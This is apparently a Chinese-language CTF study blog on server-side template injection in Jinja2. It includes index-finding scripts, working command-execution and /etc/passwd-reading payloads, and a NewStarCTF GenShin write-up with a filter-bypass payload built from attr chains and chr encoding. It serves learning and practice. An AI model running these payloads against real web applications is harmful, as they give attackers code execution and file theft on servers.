其实真的拖了很久没仔细学了 这个周末把ssti和xxe做完结尾

工具可以直接梭哈 这个是一道题目的命令 用的时候题目不一样要修改一些参数 比如post还是get 以及传参进去的参数名

fenjing crack -u http://node4.anna.nssctf.cn:28186/echo –method POST –inputs input –interval 0.01


SSTI模板注入

SSTI漏洞成因及危害:

SSTI(Server-Side Template Injection,服务端模板注入)是一种安全漏洞,通常出现在使用模板引擎的Web应用程序中。我们可以将SSTI模板注入类比于SQL注入,其成因是渲染函数在渲染的时候,对用户输入的变量不做渲染,当用户输入直接连接到模板中,而不是作为数据传入时,可能会发生服务器端模板注入攻击。任何编程语言都有可能出现 SSTI漏洞,SSTI 漏洞的本质是在服务器端对用户输入的不当处理,导致恶意用户能够通过注入模板代码来执行任意代码。这允许攻击者注入任意模板指令以操纵模板引擎,甚至可能造成任意文件读取和RCE远程控制后台系统。

1
$output = $twig->render("Dear " . $_GET['name']);

比如这个代码片段

在这段代码中,我们使用了 Twig 模板引擎来渲染模板。然而,对于传入的 name 参数,直接将其与其他字符串进行了简单的拼接,而没有对其进行任何过滤和转义操作。这样做存在安全风险,因为攻击者可以通过构造恶意的输入来注入任意的模板代码。

如果攻击者将 name 参数设置为``
{{ 7*7 }}
S

这样的结果会导致 Twig 引擎将 7*7 这个表达式作为模板代码进行执行,从而使攻击者能够执行任意的代码。

如何判断对方的模板?

常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等

image-20250904172108333

这是通过逐步输入不同的 payload 来判断目标站点使用的模板引擎,以及是否存在注入漏洞

1. 初始测试

如果能执行并返回 49,说明可能是支持 ${} 语法的模板(如 Smarty 等)。

如果无效,则尝试 {{7*7}}

2. Smarty 分支

Smarty 支持注释语法 {* ... *}

如果返回正常结果,基本可以确定是 Smarty

如果能运行,可能是 Mako(Python 模板)。

如果不识别,可能是未知模板。

3. 分支

如果返回 49:说明模板语法可能是 Jinja2(Flask、Django 等)、Twig(PHP)等常见框架。

如果报错或无效 → 可能 不存在漏洞,或者使用了未知模板引擎。

jinja2

这里主要从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎

模板的基本语法

1
2
3
4
5
6
7
{% ... %} for Statements

{{ ... }} for Expressions to print to the template output

{# ... #} for Comments not included in the template output

# ... ## for Line Statements

我们一个一个来看

1.

1
`{% ... %}` 

​ 控制语句

用于写控制逻辑,比如 循环、条件判断、继承、导入

1
2
3
`{% for user in users %}
<p>{{ user.name }}</p>
{% endfor %}`

是语句 输出的是

1
`{{ user.name }}`
1
`{{ ... }}`

表达式输出

用来输出变量或计算结果到模板页面。

任何放在 {{ ... }}内的内容,都会被 计算并渲染成字符串。

1
2
3
<p>Hello, {{ username }}!</p>

<p>2 + 3 = {{ 2 + 3 }}</p>

3.

1
`{# ... #)` 

→ 注释

4.

1
`\# ...`

就是一个简化书写

常见的魔术方法

1.__class_ _

获取对象所属的类

2. __mro__

可以通过它找到 所有基类,从而到 object

3. __base__ / __bases__

类的直接父类。

常用于向上找 object

4. __subclasses__()

最常用的,能列出所有 object 的子类。

通过它可以找到各种敏感类,比如 file, warnings.catch_warnings, subprocess.Popen

5. __globals__

获取函数的全局作用域字典。

可用来找 ossys 等模块。

6. __getitem__

等价于 [] 下标访问。

可绕过部分黑名单。

SSTI 中常用的魔术方法有
__class____mro____subclasses__()__globals____builtins__ → RCE
另外还会结合 __dict__, __module__, __getitem__ 等来绕过限制。

注入思路

随便找一个内置类对象用__class__拿到他所对应的类
用__bases__拿到基类(<class ‘object’>)
用__subclasses__()拿到子类列表
在子类列表中直接寻找可以利用的类getshell

构造链思路

第一步

使用__class__来获取内置类所对应的类

在 Python 里,每个对象都有一个 __class__ 属性,通过它可以获取到该对象所对应的类

对于字符串对象(像 '' 或者 ""),使用 __class__ 会得到 <class 'str'>,表明这个对象属于字符串(str)类;

对于列表对象(如 []),__class__ 会返回 <class 'list'>,说明它属于列表(list)类;

元组对象(如 ())的 __class__<class 'tuple'>,属于元组(tuple)类;

字典对象(如 {})的 __class__<class 'dict'>,属于字典(dict)类。

简单来说,就是用 __class__ 这个属性来查看不同内置对象到底属于哪种类别,帮助理解 Python 中对象和类的关系。

第二步

拿到object基类

在 Python 中,所有类都直接或间接继承自 object

有三种方式获取

方式一:用__bases__[0]拿到基类
  • 语法对象.__class__.__bases__[0]

对象.__class__:先获取对象所属的(比如字符串 '' 的类是 str);

类.__bases__:获取该类的直接父类元组(因为一个类可能有多个直接父类,所以返回元组);

__bases__[0]:取元组的第 0 个元素,即第一个直接父类。

1
2
3
4
>//字符串 '' 的类是 strstr 的直接父类是 object
>''.__class__.__bases__[0]

><class 'object'>
方式二:通过 __base__ 获取
  • 语法对象.__class__.__base__

__base____bases__ 的 “简化版”,直接返回类的第一个直接父类(如果类没有直接父类,返回 None,但内置类都继承自 object,所以一定能拿到)。

方式三:通过 __mro__ 获取
  • 语法对象.__class__.__mro__[1]对象.__class__.__mro__[-1]

__mro__是一个元组,包含类的继承链顺序(从当前类到最顶层基类 object 的顺序);
__mro__[1]:取继承链的第 1 个元素(因为第 0 个是当前类自己,第 1 个就是直接父类,通常是 object);
__mro__[-1]:取继承链的最后一个元素(最顶层基类,即 object)。

image-20250920214630986为什么要获取 object 基类

这是关键步骤

object 类有一个特殊方法 __subclasses__(),可以获取所有继承自 object 的子类列表(包含大量内置类和可能的危险类,如 filesubprocess.Popen 等);

拿到子类列表后,就能进一步利用这些类执行文件读取、命令执行等操作,最终实现 “getshell”。

第三步

__subclasses__()拿到子类列表

每个类都有一个 __subclasses__() 方法,调用该方法会返回所有直接继承自当前类的子类列表

object 是 Python 中所有类的最顶层基类,所以 object.__subclasses__() 会返回Python 中所有已加载的类的列表(因为所有类都直接或间接继承自 object)。

1
''.__class__.__bases__[0].__subclasses__()

(1)''.__class__

'' 是一个空字符串对象,__class__ 是对象的内置属性,用于获取该对象所属的

执行后得到:<class 'str'>(即字符串类)。

(2).__bases__[0]

__bases__ 是类的内置属性,用于获取该类的直接父类元组(因为 Python 支持多继承,所以父类是元组形式)。

str 类的直接父类是 object(Python 中所有类最终都继承自 object),所以 str.__bases__ 返回 (<class 'object'>,),取第 0 个元素 .__bases__[0] 就得到 <class 'object'>(即 object 基类)。

(3).__subclasses__()

object 类调用 __subclasses__() 方法,会返回所有继承自 object 的子类列表

由于 Python 内置了大量类(如 listdictfilesubprocess.Popen 等),且运行时可能加载了更多自定义类,所以这个列表会非常长(即 “一大堆的子类”)。

第四步

object.__subclasses__()返回的大量类中,筛选出包含文件操作、命令执行等危险功能的类

首选:os._wrap_close(索引快速定位)

利用脚本跑索引

在ssti中,我们需要找到 Python 内置的、能执行系统命令(如 popen)的类。但这些类在 object.__subclasses__() 返回的 “子类列表” 中是无序的,且索引会随环境变化,因此需要用脚本遍历子类,定位目标类的索引,才能构造 payload 利用。

1
2
3
4
5
6
7
8
9
10
11
12
search = 'popen'  # 要搜索的目标方法名(这里是os.popen,用于执行系统命令)
num = -1 # 初始化索引计数器(因为列表从0开始,先-1再++,最终从0计数)

# 遍历object的所有子类
for i in ().__class__.__bases__[0].__subclasses__():
num += 1 # 每遍历一个子类,索引+1
try:
# 检查类的__init__方法的全局作用域中是否包含popen
if search in i.__init__.__globals__.keys():
print(i, num) # 打印包含popen的类及其索引
except:
pass # 捕获异常(部分类可能没有__init__或__globals__,跳过)

​ 1.().__class__.__bases__[0]
() 是元组对象,__class__ 获取其类(<class ‘tuple’>);
__bases__[0] 获取 tuple 类的第一个父类,即最顶层基类 object。
​ 2.__subclasses__()
调用 object.__subclasses__(),返回所有继承自 object 的子类列表(包含 Python 内置类、第三方库类等)。
​ 3.i.__init__.__globals__:
i 是遍历到的子类;
__init__ 是类的构造方法;
__globals__ init 方法所在的全局作用域字典(包含该类所在模块的所有全局变量、方法)。
​ 4.if search in ...keys()
检查全局作用域中是否包含 popen 方法(os.popen 是执行系统命令的关键方法)。

运行之后会输出类似

1
<class 'os._wrap_close'> 128

这表示:在子类列表中,索引为 128 的类是 os._wrap_close,且它的 __init__ 全局作用域包含 popen

利用找到的类执行命令(本地验证)
1
2
3
4
5
6
7
8
9
10
11
12
# 步骤1:获取os._wrap_close类

wrap_close = "".__class__.__bases__[0].__subclasses__()[128]

# 步骤2:从__init__的全局作用域中取出popen

popen = wrap_close.__init__.__globals__['popen']

# 步骤3:执行系统命令(如whoami,查看当前用户)

result = popen('whoami').read()
print(result) # 输出当前系统用户,如 "desktop-t6u2ptl\\think"

首先我们通过{{ "".__class__.__bases__[0].__subclasses__() }}输出所有子类

查看他们的索引

构造最后利用payload

1
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /flag').read() }}

在实际做题时

无法本地跑脚本 这时候

获取子类

1
().__class__.__bases__[0].__subclasses__()

然后把获取的子类列表字符串(包含所有类的描述,如<class 'os._wrap_close'>)复制到find2.py的变量a中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import json

a = """
<class 'type'>,...,<class 'subprocess.Popen'>
"""

num = 0
allList = []

result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i

for k,v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k)+"--->"+v)

脚本通过字符串处理逻辑,从变量a中提取每个类的完整描述(如<class 'os._wrap_close'>):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
num = 0
allList = []
result = ""

# 遍历字符串,分割出每个类的描述
for i in a:
if i == ">": # 类描述以'>'结尾(如"<class 'os._wrap_close'>")
result += i # 拼接完整的类描述字符串
allList.append(result) # 存入列表
result = "" # 重置临时变量
elif i == "\n" or i == ",": # 忽略换行符和逗号(分隔符)
continue
else:
result += i # 拼接字符

处理后,allList列表会存储每个类的完整描述字符串

最后遍历allList列表,寻找包含os._wrap_close的元素

1
2
3
for k, v in enumerate(allList):  # enumerate获取索引(k)和元素(v)
if "os._wrap_close" in v: # 检查元素是否包含目标类名
print(str(k) + "--->" + v) # 输出索引和类描述

输出类似

image-20250921101531988

表示os._wrap_close类在子类列表中的索引是128

这个是第一个脚本

image-20250921102837940

可以看到有六个类都包含__import__

随便用一个就行

1
{{"".__class__.__bases__[0].__subclasses__()[115].__init__.__globals__.__import__('os').popen('whoami').read()}}

我这里的版本是python3 python2和这个不一样

下面看一个23都通用的方法

__builtins__代码执行

把上面find.py脚本search变量赋值为__builtins__,然后找到第140个类warnings.catch_warnings含有他,而且这里的话比较多的类都含有__builtins__,比如常用的还有email.header._ValueFormatter等等,这也可能是为什么这种方法比较多人用的原因之一吧

image-20250921103631528

再调用eval等函数和方法即可,payload如下

1
2
3
4
5
6
7
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

image-20250921104632010

image-20250921104642236

绕过黑名单

知道怎么构造出来的payload 下一步就是学习如何绕过一些过滤

细说Jinja2之SSTI&bypass_bypass ssti-CSDN博客

文章写的比我细 需要的时候翻一下就可以了

[NewStarCTF 2023 公开赛道]GenShin

信息收集

image-20250919175100100

我点了好几次也没看见这还有个路径提示。。。。。。。

image-20250919175124745

image-20250919175219194

试了下ssti

image-20250919175305308

66666666666

试了下这里只要俩大括号就不行

利用{% %}标签执行代码

1
{% print(7*7) %}

查看当前 Flask 应用的配置信息

1
{% print(config) %}

这里试的时候可以发现过滤了蛮多东西 .也过滤了

绕过.我们就用attr

第一步拿到类和基类

()|attr("__class__")|attr("__base__")

1
2
?name=
{% print ()|attr("__class__")|attr("__base__")|attr("__subclasses__")() %}

image-20250921110306462

获取子类列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import json

a = """
//我这里把一大串给省略了 就是把上面查出来的类粘贴到这里
"""

num = 0
allList = []

result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i

for k, v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k) + "--->" + v)

image-20250921111614156

|attr("__globals__") 的作用是从类的构造方法中 “撬出” 它所在模块的所有功能,让我们能拿到 os 模块等 “危险工具”,最终实现命令执行、文件读取等攻击行为,这是 SSTI 漏洞从 “注入” 到 “getshell” 的关键一跃。

下一步就是访问这个globals

这里init也被过滤了

通过字符串拼接来绕过

__init__ 拆分为 '__in' + '__it__'

1
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}

image-20250921112559425

得到的这个就是global的字典内容

它相当于是一个武器库

返回当前作用域的全局变量字典

在 SSTI 中,拿到这个字典就相当于获得了:

  • 所有内置函数(如 eval__import__open 等,可执行命令、读写文件);
  • 已加载的模块(如 ossubprocess 等,是执行系统操作的核心工具);
  • 模板运行时的自定义变量 / 类(可能包含开发者遗留的危险逻辑)

image-20250921112651398

这里又过滤了popen systen这种直接执行的

所以我们需要间接执行比如eval+字符串编码

|attr("get")("eval"):从 __builtins__ 中取出 eval 函数

执行的命令

eval(__import__('os').popen('ls /').read())

这里要把它进行chr编码 然后chr中间要加上加号

之后知道flag位置直接进行查看

完整payload

1
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}

写死我了。。。。。

image-20250921113948035